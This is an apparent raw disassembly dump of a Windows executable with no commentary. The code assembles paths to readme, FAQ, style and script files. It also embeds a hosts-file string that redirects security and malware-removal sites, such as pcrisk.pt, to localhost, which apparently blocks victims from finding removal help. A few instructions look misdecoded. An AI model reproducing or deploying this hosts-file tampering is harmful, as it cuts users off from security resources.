lea rdx, [rsi + 0x88]
lea rcx, [rsp + 0x260]
call fcn.14002d220
cmp qword [rsp + 0x260], 0
je 0x14002fe68
mov al, 3
mov byte [r13], 3
mov byte [r12], al
mov al, 7
mov ecx, 1
jmp 0x14003193a
mov r14, qword [rsp + 0x268]
test r14, r14
je 0x14002fe87
add byte [rbp - 0x7b], cl
div byte [rdx + rdx + 0x4c]
mov edi, dword [rsp + 0x270]
mov r15, qword [rsp + 0x270]
mov byte [r13], 1
add byte [r9], r8b
jmp 0x1400318f5
mov byte [r13], 1
mov byte [r12], 1
cmp qword [rsi + 0x40], 0
je 0x14002feab
mov r8, qword [rsi + 0x38]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi + 0x20], 0
je 0x14002fecd
mov r8, qword [rsi + 0x18]
mov rcx, qword [0x1400f91f8]
xor r14d, r14d
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14003192e
xor r14d, r14d
jmp 0x14003192e
test r13, r13
je 0x14002feec
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x260]
call fcn.14002edc0
mov r15, qword [rsp + 0x260]
test r15, r15
je 0x1400318e5
mov r13, qword [rsp + 0x268]
mov r9, qword [rsp + 0x270]
lea rcx, [0x1400bb8ee]
mov edx, 5
mov r8, r15
call fcn.14000d250
test al, al
je 0x140031509
test r13, r13
je 0x14002ff4d
mov qword [rsp + 0x508], r13
mov rax, qword [rsi]
mov r14, qword [rsi + 8]
mov qword [rsi + 0x10], rax
lea rdx, [0x1400b2583]
lea rcx, [rsp + 0x70]
mov r8d, 0xb
call fcn.1400818e0
cmp byte [rsp + 0x88], 3
jne 0x140031e34
mov r15, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0x20], 7
lea r9, [0x1400b245c]
lea rcx, [rsp + 0x260]
mov rdx, r15
call fcn.140086540
mov r12, qword [rsp + 0x260]
mov rbp, qword [rsp + 0x270]
lea rdx, str.readme_README.html
lea rcx, [rsp + 0x30]
mov r8d, 0x12
call fcn.14000fa90
mov r13, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
mov rdx, r12
mov r8, rbp
mov r9, r13
call fcn.140086540
cmp qword [rsp + 0x38], 0
jne 0x140031157
cmp qword [rsp + 0x268], 0
jne 0x140031178
test rbx, rbx
je 0x140030050
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi + 0x10]
mov r8, qword [rax]
mov r9, qword [rax + 0x10]
lea rcx, [rsp + 0x260]
mov rdx, r14
call fcn.14001eee0
mov r15, qword [rsp + 0x270]
cmp r15, 2
jbe 0x140031ddc
mov r14, qword [rsp + 0x260]
mov rdx, qword [r14 + 0x30]
mov r8, qword [r14 + 0x40]
lea rcx, [rsp + 0x30]
call fcn.140040bf0
lea rbx, [r14 + 8]
mov rbp, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400300b9
add rbx, 0x18
dec r15
je 0x1400300d0
cmp qword [rbx], 0
je 0x1400300b0
mov r8, qword [rbx - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call rbp
jmp 0x1400300b0
cmp qword [rsp + 0x268], 0
je 0x1400300ed
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x510], xmm0
movaps xmmword [rsp + 0x520], xmm1
movups xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x530], xmm0
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x540], rax
lea rdx, [0x1400b2583]
lea rcx, [rsp + 0x70]
mov r8d, 0xb
call fcn.1400818e0
cmp byte [rsp + 0x88], 3
jne 0x140031e77
mov r14, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0x20], 7
lea r9, [0x1400b245c]
lea rcx, [rsp + 0x260]
mov rdx, r14
call fcn.140086540
mov r15, qword [rsp + 0x260]
mov r13, qword [rsp + 0x270]
lea rdx, str.readme_pages_faq.html
lea rcx, [rsp + 0x30]
mov r8d, 0x15
call fcn.14000fa90
mov r12, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
mov rdx, r15
mov r8, r13
mov r9, r12
call fcn.140086540
cmp qword [rsp + 0x38], 0
jne 0x140031198
cmp qword [rsp + 0x268], 0
jne 0x1400311b9
test rbx, rbx
je 0x1400301f6
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x260]
mov r8d, 1
xor edx, edx
xor r9d, r9d
call fcn.14001eee0
mov r15, qword [rsp + 0x270]
cmp r15, 3
jbe case.0x140023efa.266
mov r14, qword [rsp + 0x260]
mov rdx, qword [r14 + 0x48]
mov r8, qword [r14 + 0x58]
lea rcx, [rsp + 0x30]
call fcn.140040bf0
lea rbx, [r14 + 8]
jmp 0x140030249
add rbx, 0x18
dec r15
je 0x140030260
cmp qword [rbx], 0
je 0x140030240
mov r8, qword [rbx - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call rbp
jmp 0x140030240
cmp qword [rsp + 0x268], 0
je 0x14003027d
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x220], xmm0
movaps xmmword [rsp + 0x230], xmm1
movups xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x240], xmm0
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x250], rax
lea rdx, [0x1400b2583]
lea rcx, [rsp + 0x70]
mov r8d, 0xb
call fcn.1400818e0
cmp byte [rsp + 0x88], 3
jne 0x140031ea0
mov r14, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0x20], 7
lea r9, [0x1400b245c]
lea rcx, [rsp + 0x260]
mov rdx, r14
call fcn.140086540
mov r15, qword [rsp + 0x260]
mov r13, qword [rsp + 0x270]
lea rdx, str.readme_assets_style.css
lea rcx, [rsp + 0x30]
mov r8d, 0x17
call fcn.14000fa90
mov r12, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
mov rdx, r15
mov r8, r13
mov r9, r12
call fcn.140086540
cmp qword [rsp + 0x38], 0
jne 0x1400311d9
cmp qword [rsp + 0x268], 0
jne 0x1400311fa
test rbx, rbx
je 0x140030386
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x260]
mov r8d, 1
xor edx, edx
xor r9d, r9d
call fcn.14001eee0
mov r15, qword [rsp + 0x270]
cmp r15, 4
jbe 0x140031e08
mov r14, qword [rsp + 0x260]
mov rdx, qword [r14 + 0x60]
mov r8, qword [r14 + 0x70]
lea rcx, [rsp + 0x30]
call fcn.140040bf0
lea rbx, [r14 + 8]
jmp 0x1400303d9
add rbx, 0x18
dec r15
je 0x1400303f0
cmp qword [rbx], 0
je 0x1400303d0
mov r8, qword [rbx - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call rbp
jmp 0x1400303d0
cmp qword [rsp + 0x268], 0
je 0x14003040d
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmmword [rsp + 0x1b0], xmm1
movups xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x1c0], xmm0
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x1d0], rax
lea rdx, [0x1400b2583]
lea rcx, [rsp + 0x70]
mov r8d, 0xb
call fcn.1400818e0
cmp byte [rsp + 0x88], 3
jne 0x140031ec9
mov r14, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0x20], 7
lea r9, [0x1400b245c]
lea rcx, [rsp + 0x260]
mov rdx, r14
call fcn.140086540
mov r15, qword [rsp + 0x260]
mov r13, qword [rsp + 0x270]
lea rdx, str.readme_assets_script.js
lea rcx, [rsp + 0x30]
mov r8d, 0x17
call fcn.14000fa90
mov r12, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
mov rdx, r15
mov r8, r13
mov r9, r12
call fcn.140086540
cmp qword [rsp + 0x38], 0
jne 0x14003121a
cmp qword [rsp + 0x268], 0
jne 0x14003123b
test rbx, rbx
je 0x140030516
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x260]
mov r8d, 1
xor edx, edx
xor r9d, r9d
call fcn.14001eee0
mov r15, qword [rsp + 0x270]
cmp r15, 5
jbe 0x140031e1e
mov r14, qword [rsp + 0x260]
mov rdx, qword [r14 + 0x78]
mov r8, qword [r14 + 0x88]
lea rcx, [rsp + 0x1e0]
call fcn.140040bf0
lea rbx, [r14 + 8]
jmp 0x140030579
add rbx, 0x18
dec r15
je 0x140030590
cmp qword [rbx], 0
je 0x140030570
mov r8, qword [rbx - 8]
mov rcx, qword [0x1400f91f8]
xor edx, edx
call rbp
jmp 0x140030570
cmp qword [rsp + 0x268], 0
je 0x1400305ad
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rsp + 0x1e0]
movaps xmmword [rsp + 0x50], xmm0
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x60], rax
lea rdx, [0x1400b2583]
lea rcx, [rsp + 0x70]
mov r8d, 0xb
call fcn.1400818e0
cmp byte [rsp + 0x88], 3
jne 0x140031eef
mov r14, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0x20], 7
lea r9, [0x1400b245c]
lea rcx, [rsp + 0x260]
mov rdx, r14
call fcn.140086540
mov r15, qword [rsp + 0x260]
mov r13, qword [rsp + 0x270]
lea rdx, str.README.txt
lea rcx, [rsp + 0x1e0]
mov r8d, 0xa
call fcn.14000fa90
mov r12, qword [rsp + 0x1e0]
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
mov rdx, r15
mov r8, r13
mov r9, r12
call fcn.140086540
cmp qword [rsp + 0x1e8], 0
jne 0x14003125b
cmp qword [rsp + 0x268], 0
jne 0x14003127c
test rbx, rbx
je 0x1400306bc
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x5b0], xmm0
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x5c0], xmm0
movaps xmmword [rsp + 0x5d0], xmm1
lea rdx, [0x1400b2583]
lea rcx, [rsp + 0x70]
mov r8d, 0xb
call fcn.1400818e0
cmp byte [rsp + 0x88], 3
jne 0x140031f15
mov r14, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0x20], 7
lea r9, [0x1400b245c]
lea rcx, [rsp + 0x260]
mov rdx, r14
call fcn.140086540
mov r15, qword [rsp + 0x260]
mov r13, qword [rsp + 0x270]
lea rdx, str.FAQ.txt
lea rcx, [rsp + 0x1e0]
mov r8d, 7
call fcn.14000fa90
mov r12, qword [rsp + 0x1e0]
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
mov rdx, r15
mov r8, r13
mov r9, r12
call fcn.140086540
cmp qword [rsp + 0x1e8], 0
jne 0x14003129c
cmp qword [rsp + 0x268], 0
jne 0x1400312bd
test rbx, rbx
je 0x1400307c2
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x5e0], xmm0
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x5f0], xmm0
movaps xmmword [rsp + 0x600], xmm1
lea rdx, [0x1400b2583]
lea rcx, [rsp + 0x70]
mov r8d, 0xb
call fcn.1400818e0
cmp byte [rsp + 0x88], 3
jne 0x140031f3b
mov r14, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0x20], 7
lea r9, [0x1400b245c]
lea rcx, [rsp + 0x260]
mov rdx, r14
call fcn.140086540
mov r15, qword [rsp + 0x260]
mov r13, qword [rsp + 0x270]
lea rdx, str.credits.txt_n___________n__________________________________Credits_n____________________________________________________________________n__________Author::___n__________EMail::___n___________n___________n__________k
lea rcx, [rsp + 0x70]
mov r8d, 0xb
call fcn.14000fa90
mov r12, qword [rsp + 0x70]
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x580]
mov rdx, r15
mov r8, r13
mov r9, r12
call fcn.140086540
cmp qword [rsp + 0x78], 0
jne 0x1400312dd
cmp qword [rsp + 0x268], 0
jne 0x1400312fe
test rbx, rbx
je 0x1400308c2
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea r14, [rsp + 0x1e0]
mov rcx, r14
call fcn.14001c100
lea rdx, [0x1400b246f]
mov r8d, 6
mov rcx, r14
call fcn.14001b600
test rax, rax
je case.0x1400240ea.267
mov r14, rax
lea r15, [rsp + 0x70]
mov rcx, r15
call fcn.14001c100
lea rdx, [0x1400b2480]
mov r8d, 0xc
mov rcx, r15
call fcn.14001b600
test rax, rax
je 0x140031fa0
mov r15, rax
lea r12, [rsp + 0x260]
mov rcx, r12
call fcn.14001c100
lea rdx, [0x1400b2548]
mov r8d, 9
mov rcx, r12
call fcn.14001b600
test rax, rax
je 0x140031fba
mov qword [rsp + 0x550], r14
lea rcx, [0x140051570]
mov qword [rsp + 0x558], rcx
mov qword [rsp + 0x560], r15
mov qword [rsp + 0x568], rcx
mov qword [rsp + 0x570], rax
mov qword [rsp + 0x578], rcx
lea rax, [0x1400bc4a0]
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x178], 4
mov qword [rsp + 0x190], 0
lea rax, [rsp + 0x550]
mov qword [rsp + 0x180], rax
mov qword [rsp + 0x188], 3
lea rcx, [rsp + 0x4e0]
lea rdx, [rsp + 0x170]
call fcn.140040880
mov rcx, qword [rsp + 0x268]
test rcx, rcx
je 0x140030a19
mov rax, rcx
shl rax, 5
add rcx, rax
cmp rcx, 0xffffffffffffffcf
je 0x140030a19
mov r8, qword [rsp + 0x260]
sub r8, rax
add r8, 0xffffffffffffffe0
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x140030a4e
mov rax, rcx
shl rax, 5
add rcx, rax
cmp rcx, 0xffffffffffffffcf
je 0x140030a4e
mov r8, qword [rsp + 0x70]
sub r8, rax
add r8, 0xffffffffffffffe0
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [rsp + 0x1e8]
test rcx, rcx
je 0x140030a89
mov rax, rcx
shl rax, 5
add rcx, rax
cmp rcx, 0xffffffffffffffcf
je 0x140030a89
mov r8, qword [rsp + 0x1e0]
sub r8, rax
add r8, 0xffffffffffffffe0
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rsp + 0x4e0]
mov rbp, qword [rsp + 0x4e8]
mov r8, qword [rsp + 0x4f0]
lea rcx, [rsp + 0x280]
mov rdx, r14
call fcn.140096da0
movups xmm0, xmmword [rsp + 0x580]
movups xmm1, xmmword [rsp + 0x590]
movaps xmmword [rsp + 0x270], xmm1
movaps xmmword [rsp + 0x260], xmm0
movaps xmm0, xmmword [rsp + 0x510]
movaps xmm1, xmmword [rsp + 0x520]
movaps xmm2, xmmword [rsp + 0x530]
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x90], xmm2
mov rax, qword [rsp + 0x540]
mov qword [rsp + 0xa0], rax
movaps xmm0, xmmword [rsp + 0x220]
movaps xmm1, xmmword [rsp + 0x230]
movaps xmm2, xmmword [rsp + 0x240]
movups xmmword [rsp + 0xa8], xmm0
movups xmmword [rsp + 0xb8], xmm1
movups xmmword [rsp + 0xc8], xmm2
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x110], rax
movaps xmm0, xmmword [rsp + 0x1a0]
movaps xmm1, xmmword [rsp + 0x1b0]
movaps xmm2, xmmword [rsp + 0x1c0]
movaps xmmword [rsp + 0x100], xmm2
movaps xmmword [rsp + 0xf0], xmm1
movaps xmmword [rsp + 0xe0], xmm0
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmm2, xmmword [rsp + 0x50]
movups xmmword [rsp + 0x118], xmm0
movups xmmword [rsp + 0x128], xmm1
movups xmmword [rsp + 0x138], xmm2
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x148], rax
movaps xmm0, xmmword [rsp + 0x5c0]
movaps xmm1, xmmword [rsp + 0x5d0]
movaps xmmword [rsp + 0x150], xmm0
movaps xmmword [rsp + 0x160], xmm1
movaps xmm0, xmmword [rsp + 0x5b0]
movaps xmmword [rsp + 0x4e0], xmm0
movaps xmm0, xmmword [rsp + 0x5f0]
movaps xmm1, xmmword [rsp + 0x600]
movaps xmmword [rsp + 0x560], xmm1
movaps xmmword [rsp + 0x550], xmm0
movaps xmm0, xmmword [rsp + 0x5e0]
movaps xmmword [rsp + 0x5a0], xmm0
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x210], rax
movaps xmm0, xmmword [rsp + 0x260]
movaps xmm1, xmmword [rsp + 0x270]
movaps xmm2, xmmword [rsp + 0x280]
movaps xmmword [rsp + 0x200], xmm2
movaps xmmword [rsp + 0x1f0], xmm1
movaps xmmword [rsp + 0x1e0], xmm0
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0xf8], 0
jne 0x140030c84
call fcn.140008690
lea r15, [rsp + 0x240]
mov eax, dword [0x1400f92c4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm0, xmmword [rax + 0x100]
inc qword [rax + 0x100]
movups xmm1, xmmword [0x1400eb9b0]
movaps xmmword [rsp + 0x220], xmm1
movups xmm1, xmmword [0x1400eb9c0]
movaps xmmword [rsp + 0x230], xmm1
movaps xmmword [rsp + 0x240], xmm0
lea rcx, [rsp + 0x260]
lea r12, [rsp + 0x70]
mov r8d, 0x100
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
movaps xmm0, xmmword [rsp + 0x550]
movaps xmm1, xmmword [rsp + 0x560]
movaps xmmword [rsp + 0x510], xmm0
movaps xmmword [rsp + 0x520], xmm1
movaps xmm0, xmmword [rsp + 0x5a0]
movaps xmmword [rsp + 0x580], xmm0
movaps xmm0, xmmword [rsp + 0x1e0]
movaps xmm1, xmmword [rsp + 0x1f0]
movaps xmm2, xmmword [rsp + 0x200]
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmmword [rsp + 0x1b0], xmm1
movaps xmmword [rsp + 0x1c0], xmm2
mov rax, qword [rsp + 0x210]
mov qword [rsp + 0x1d0], rax
lea r13, [rsp + 0x220]
mov edx, 7
mov rcx, r13
mov r8, r15
call fcn.1400a9670
lea r15, [rsp + 0x50]
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x60], rax
movaps xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movaps xmm2, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x170]
mov rdx, r13
mov r8, r12
mov r9, r15
call fcn.14001b890
mov r8, qword [rsp + 0x170]
test r8, r8
je 0x140030de9
cmp qword [rsp + 0x178], 0
je 0x140030de9
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea r8, [rsp + 0x298]
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rsp + 0x298]
movups xmm1, xmmword [rsp + 0x2a8]
movups xmm2, xmmword [rsp + 0x2b8]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x170]
lea rdx, [rsp + 0x220]
mov r9, r15
call fcn.14001b890
mov r8, qword [rsp + 0x170]
test r8, r8
je 0x140030e64
cmp qword [rsp + 0x178], 0
je 0x140030e64
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea r8, [rsp + 0x2d0]
mov rax, qword [rsp + 0x300]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rsp + 0x2d0]
movups xmm1, xmmword [rsp + 0x2e0]
movups xmm2, xmmword [rsp + 0x2f0]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x170]
lea rdx, [rsp + 0x220]
mov r9, r15
call fcn.14001b890
mov r8, qword [rsp + 0x170]
test r8, r8
je 0x140030edf
cmp qword [rsp + 0x178], 0
je 0x140030edf
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea r8, [rsp + 0x308]
mov rax, qword [rsp + 0x338]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rsp + 0x308]
movups xmm1, xmmword [rsp + 0x318]
movups xmm2, xmmword [rsp + 0x328]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x170]
lea rdx, [rsp + 0x220]
mov r9, r15
call fcn.14001b890
mov r8, qword [rsp + 0x170]
test r8, r8
je 0x140030f5a
cmp qword [rsp + 0x178], 0
je 0x140030f5a
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
lea r8, [rsp + 0x340]
movups xmm0, xmmword [rsp + 0x340]
movups xmm1, xmmword [rsp + 0x350]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x50], 1
lea rbx, [rsp + 0x58]
movaps xmm0, xmmword [rsp + 0x4e0]
movups xmmword [rsp + 0x58], xmm0
lea rcx, [rsp + 0x170]
lea rdx, [rsp + 0x220]
mov r9, r15
call fcn.14001b890
mov r8, qword [rsp + 0x170]
test r8, r8
je 0x140030fd6
cmp qword [rsp + 0x178], 0
je 0x140030fd6
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm0, xmmword [rsp + 0x510]
movaps xmm1, xmmword [rsp + 0x520]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x50], 1
movaps xmm0, xmmword [rsp + 0x580]
movups xmmword [rbx], xmm0
lea rcx, [rsp + 0x170]
lea rdx, [rsp + 0x220]
lea r8, [rsp + 0x510]
mov r9, r15
call fcn.14001b890
mov r8, qword [rsp + 0x170]
test r8, r8
je 0x14003104b
cmp qword [rsp + 0x178], 0
je 0x14003104b
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x60], rax
movaps xmm0, xmmword [rsp + 0x1a0]
movaps xmm1, xmmword [rsp + 0x1b0]
movaps xmm2, xmmword [rsp + 0x1c0]
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x170]
lea rdx, [rsp + 0x220]
lea r8, [rsp + 0x1a0]
mov r9, r15
call fcn.14001b890
mov r8, qword [rsp + 0x170]
test r8, r8
je 0x1400310c6
cmp qword [rsp + 0x178], 0
je 0x1400310c6
mov rcx, qword [0x1400f91f8]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm0, xmmword [rsp + 0x220]
movaps xmm1, xmmword [rsp + 0x230]
movaps xmm2, xmmword [rsp + 0x240]
movaps xmmword [rsp + 0x610], xmm0
movaps xmmword [rsp + 0x620], xmm1
movaps xmmword [rsp + 0x630], xmm2
test rbp, rbp
je 0x14003110d
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x610]
call fcn.1400298b0
test rax, rax
je 0x14003159f
mov r15, rax
movzx eax, byte [0x1400f92c0]
mov ecx, 8
mov edx, 8
call fcn.1400515f0
test rax, rax
je 0x140031fe9
mov r14, rax
mov qword [rax], r15
lea r15, [0x1400b0c00]
jmp 0x14003192e
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x268], 0
je 0x140030039
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
jne 0x14003003e
jmp 0x140030050
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x268], 0
je 0x1400301df
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
jne 0x1400301e4
jmp 0x1400301f6
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x268], 0
je 0x14003036f
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
jne 0x140030374
jmp 0x140030386
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x268], 0
je 0x1400304ff
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
jne 0x140030504
jmp 0x140030516
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x268], 0
je 0x1400306a5
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
jne 0x1400306aa
jmp 0x1400306bc
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x268], 0
je 0x1400307ab
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
jne 0x1400307b0
jmp 0x1400307c2
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x268], 0
je 0x1400308ab
mov rcx, qword [0x1400f91f8]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
jne 0x1400308b0
jmp 0x1400308c2
lea rdx, str.C:WindowsSystem32driversetchosts_n___Copyright__c__1993_2009_Microsoft_Corp._n___n___This_is_a_sample_HOSTS_file_used_by_Microsoft_TCP_IP_for_Windows._n___n___This_file_contains_the_mappings_of_IP_addresses_to_host_names._Each_n___entry_should_be_kept_on_an_individual_line._The_IP_address_should_n___be_placed_in_the_first_column_followed_by_the_corresponding_host_name._n___The_IP_address_and_the_host_name_should_be_separated_by_at_least_one_n___space._n___n___Additionally__comments__such_as_these__may_be_inserted_on_individual_n___lines_or_following_the_machine_name_denoted_by_a__symbol._n___n___For_example:_n___n________102.54.94.97_____rhino.acme.com___________source_server_n_________38.25.63.10_____x.acme.com_______________x_client_host_n_n___localhost_name_resolution_is_handled_within_DNS_itself._n___t127.0.0.1_______localhost_n___t::1_____________localhost_n_n__127.0.0.1_malware_guide.com_n__127.0.0.1_www.pcrisk.pt_n__127.0.0.1_w